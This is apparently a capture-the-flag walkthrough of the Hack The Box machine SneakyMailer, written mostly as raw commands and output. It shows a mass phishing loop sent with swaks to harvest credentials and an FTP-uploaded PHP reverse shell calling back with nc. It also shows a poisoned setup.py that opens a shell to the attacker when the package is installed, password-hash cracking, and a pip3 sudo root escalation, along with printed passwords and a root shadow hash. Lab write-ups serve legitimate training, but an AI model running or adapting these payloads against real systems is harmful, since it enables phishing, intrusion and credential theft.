FIND SUBDOMAINS WITH FFUF

SENDING MAILS SWAKS

OPENSSL S_CLIENT PORT 993

PUT REVERSE PHP USING FTP

GTFOBINS PIP3

```
root:$6$jJW2Iy0Knfw7c6gr$/p2MAEhr7Fy4bMIT8szzgnSkL2kp8EaPKvGQ//cfcX0bMnazYHzNwWIsGaGwgceFyftI2Xihj0rrhUbfkrzhf.:18402:0:99999:7:::

PORT     STATE SERVICE  VERSION

21/tcp   open  ftp      vsftpd 3.0.3

22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

| ssh-hostkey:

|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)

|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)

|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)

25/tcp   open  smtp     Postfix smtpd

|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,

80/tcp   open  http     nginx 1.14.2

|_http-server-header: nginx/1.14.2

|_http-title: Did not follow redirect to http://sneakycorp.htb

143/tcp  open  imap     Courier Imapd (released 2018)

|_imap-capabilities: OK ACL2=UNION UIDPLUS ACL completed IDLE SORT THREAD=REFERENCES STARTTLS THREAD=ORDEREDSUBJECT UTF8=ACCEPTA0001 QUOTA CAPABILITY CHILDREN IMAP4rev1 ENABLE NAMESPACE

| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US

| Subject Alternative Name: email:postmaster@example.com

| Not valid before: 2020-05-14T17:14:21

|_Not valid after:  2021-05-14T17:14:21

|_ssl-date: TLS randomness does not represent time

993/tcp  open  ssl/imap Courier Imapd (released 2018)
```

```
|_imap-capabilities: OK ACL2=UNION UIDPLUS ACL completed AUTH=PLAIN IDLE SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT UTF8=ACCEPTA0001 CAPABILITY QUOTA CHILDREN IMAP4rev1 ENABLE NAMESPACE
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

http://www.sneakycorp.htb/ add to /etc/hosts

http://sneakycorp.htb/team.php

sulcud The new guy Freelance

SMTP

```
root@kali:/home/kali/Desktop/htb/sneakymailer# telnet sneakymailer.htb 25
Trying 10.10.10.197...
Connected to sneakymailer.htb.
Escape character is '^]'.
220 debian ESMTP Postfix (Debian/GNU)
user sulcud
502 5.5.2 Error: command not recognized
root@kali:/home/kali/Desktop/htb/sneakymailer# searchsploit postfix smtp
--------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                  |  Path
--------------------------------------------------------------------------------- ---------------------------------
Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection            | linux/remote/34896.py
root@kali:/home/kali/Desktop/htb/sneakymailer# cp /usr/share/exploitdb/exploits/linux/remote/34896.py .
```

PORT 143 IMAP

```
root@kali:/home/kali/Desktop/htb/sneakymailer# searchsploit courier-imap

Courier-IMAP 3.0.2-r1 - 'auth_debug()' Remote Format String                    | bsd/remote/432.c

root@kali:/home/kali/Desktop/htb/sneakymailer# gcc 432.c -o exploit

root@kali:/home/kali/Desktop/htb/sneakymailer# chmod +x exploit

root@kali:/home/kali/Desktop/htb/sneakymailer# ./exploit  (DIDN’T WORK)
```

FIND SUBDOMAINS WITH FFUF

```
root@kali:/home/kali/Desktop/htb/sneakymailer# ffuf -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt -u http://sneakycorp.htb/ -H "Host: FUZZ.sneakycorp.htb" -fs 185

dev                    [Status: 200, Size: 13737, Words: 4007, Lines: 341]
```

add to /etc/hosts

http://dev.sneakycorp.htb/team.php

```
root@kali:/home/kali/Desktop/htb/sneakymailer# cat mail.txt

airisatou@sneakymailer.htb

angelicaramos@sneakymailer.htb

ashtoncox@sneakymailer.htb

bradleygreer@sneakymailer.htb

brendenwagner@sneakymailer.htb

briellewilliamson@sneakymailer.htb

brunonash@sneakymailer.htb

caesarvance@sneakymailer.htb

carastevens@sneakymailer.htb

cedrickelly@sneakymailer.htb

chardemarshall@sneakymailer.htb

colleenhurst@sneakymailer.htb

dairios@sneakymailer.htb

donnasnider@sneakymailer.htb

doriswilder@sneakymailer.htb
```

finncamacho@sneakymailer.htb

fionagreen@sneakymailer.htb

garrettwinters@sneakymailer.htb

gavincortez@sneakymailer.htb

gavinjoyce@sneakymailer.htb

glorialittle@sneakymailer.htb

haleykennedy@sneakymailer.htb

hermionebutler@sneakymailer.htb

herrodchandler@sneakymailer.htb

hopefuentes@sneakymailer.htb

howardhatfield@sneakymailer.htb

jacksonbradshaw@sneakymailer.htb

jenagaines@sneakymailer.htb

jenettecaldwell@sneakymailer.htb

jenniferacosta@sneakymailer.htb

jenniferchang@sneakymailer.htb

jonasalexander@sneakymailer.htb

laelgreer@sneakymailer.htb

martenamccray@sneakymailer.htb

michaelsilva@sneakymailer.htb

michellehouse@sneakymailer.htb

olivialiang@sneakymailer.htb

paulbyrd@sneakymailer.htb

prescottbartlett@sneakymailer.htb

quinnflynn@sneakymailer.htb

rhonadavidson@sneakymailer.htb

sakurayamamoto@sneakymailer.htb

sergebaldwin@sneakymailer.htb

shaddecker@sneakymailer.htb

shouitou@sneakymailer.htb

sonyafrost@sneakymailer.htb

sukiburks@sneakymailer.htb

sulcud@sneakymailer.htb

tatyanafitzpatrick@sneakymailer.htb

thorwalton@sneakymailer.htb

tigernixon@sneakymailer.htb

timothymooney@sneakymailer.htb

unitybutler@sneakymailer.htb

vivianharrell@sneakymailer.htb

yuriberry@sneakymailer.htb

zenaidafrank@sneakymailer.htb

zoritaserrano@sneakymailer.htb

```
root@kali:/home/kali/Desktop/htb/sneakymailer# nc -nlvp 80
```

```
while read mail; do swaks --to $mail --from it@sneakymailer.htb --header "Subject: Credentials /Errors" --body "goto http://10.10.14.27/" --server 10.10.10.197; done < mails.txt
```

```
root@kali:/home/kali/Desktop/htb/sneakymailer# nc -nlvp 80

listening on [any] 80 ...

connect to [10.10.14.27] from (UNKNOWN) [10.10.10.197] 47836

POST / HTTP/1.1

Host: 10.10.14.27

User-Agent: python-requests/2.23.0

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Content-Length: 185

Content-Type: application/x-www-form-urlencoded


firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
```

firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

username:paulbyrd

pass: ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

PORT 993

```
openssl s_client -crlf -connect 10.10.10.197:993

a login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

a list "" *

* LIST (\Unmarked \HasChildren) "." "INBOX"

* LIST (\HasNoChildren) "." "INBOX.Trash"

* LIST (\HasNoChildren) "." "INBOX.Sent"

* LIST (\HasNoChildren) "." "INBOX.Deleted Items"

* LIST (\HasNoChildren) "." "INBOX.Sent Items"

a OK LIST completed

a select "INBOX.Sent Items"

a fetch 1 BODY.PEEK[]

Hello administrator, I want to change this password for the developer accou=

nt


Username: developer

Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
```

FTP

```
root@kali:/home/kali/Desktop/htb/sneakymailer# ftp 10.10.10.197

Connected to 10.10.10.197.

220 (vsFTPd 3.0.3)

Name (10.10.10.197:kali): developer

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.
```

```
ftp> dir

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

drwxrwxr-x    8 0        1001         4096 Jul 12 08:31 dev

226 Directory send OK.

ftp> pwd

257 "/" is the current directory

ftp> cd /dev/

250 Directory successfully changed.

ftp> put reverse.php

local: reverse.php remote: reverse.php

200 PORT command successful. Consider using PASV.

150 Ok to send data.

226 Transfer complete.

102 bytes sent in 0.00 secs (1.1580 MB/s)
```

```
root@kali:/home/kali/Desktop/htb/sneakymailer# cat reverse.php

<?php

system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.27 8082 >/tmp/f");

?>
```

```
root@kali:/home/kali# nc -nlvp 8082
```

http://dev.sneakycorp.htb/reverse.php

SHELL GAINED!!!!!

```
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ su developer

m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
```

DEVELOPER SHELL

```
developer@sneakymailer:/var/www$ ls
dev.sneakycorp.htb  html  pypi.sneakycorp.htb  sneakycorp.htb
```

add to /etc/hosts

http://pypi.sneakycorp.htb:8080/

```
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ ls -la
total 20
drwxr-xr-x 4 root root     4096 May 15 14:29 .
drwxr-xr-x 6 root root     4096 May 14 18:25 ..
-rw-r--r-- 1 root root       43 May 15 14:29 .htpasswd
drwxrwx--- 2 root pypi-pkg 4096 Jul 12 05:50 packages
drwxr-xr-x 6 root pypi     4096 May 14 18:25 venv
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
root@kali:/home/kali/Desktop/htb/sneakymailer# john --wordlist=/usr/share/wordlists/rockyou.txt  hash.txt
soufianeelhaoui  (pypi)
```

Hello low

Your current task is to install, test and then erase every python module you

find in our PyPI service, let me know if you have any inconvenience

```
root@kali:/home/kali/Desktop/htb/sneakymailer/package# cat .pypirc
[distutils]
index-servers = local

[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
root@kali:/home/kali/Desktop/htb/sneakymailer/package# cat setup.py
import setuptools
import os


if os.getuid() == 1000:
        os.system('nc -e /bin/bash 10.10.14.27 2345')



setuptools.setup(
        name='sample',
        version='1.2.0',
        description='A sample Python project',
        long_description="long_description",
        long_description_content_type='text/x-rst',
        url='https://github.com/pypa/sampleproject',
        author='A. Random Developer',
        author_email='author@example.com',
        license='MIT',
        packages=setuptools.find_packages(),
        install_requires=['peppercorn'],
)
```

```
root@kali:/home/kali/Desktop/htb/sneakymailer# python -m SimpleHTTPServer 80
```

```
developer@sneakymailer:/tmp/package$ HOME=`pwd`
```

```
developer@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local
root@kali:/home/kali/Desktop/htb/sneakymailer/package# nc -nlvp 2345
```

LOW SHELL GAINED!!

```
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
```

```
User low may run the following commands on sneakymailer:

    (root) NOPASSWD: /usr/bin/pip3
```

https://gtfobins.github.io/gtfobins/pip/

```
low@sneakymailer:~$  TF=$(mktemp -d)

low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

low@sneakymailer:~$ sudo pip3 install $T
```

ROOTED!!!!!!!!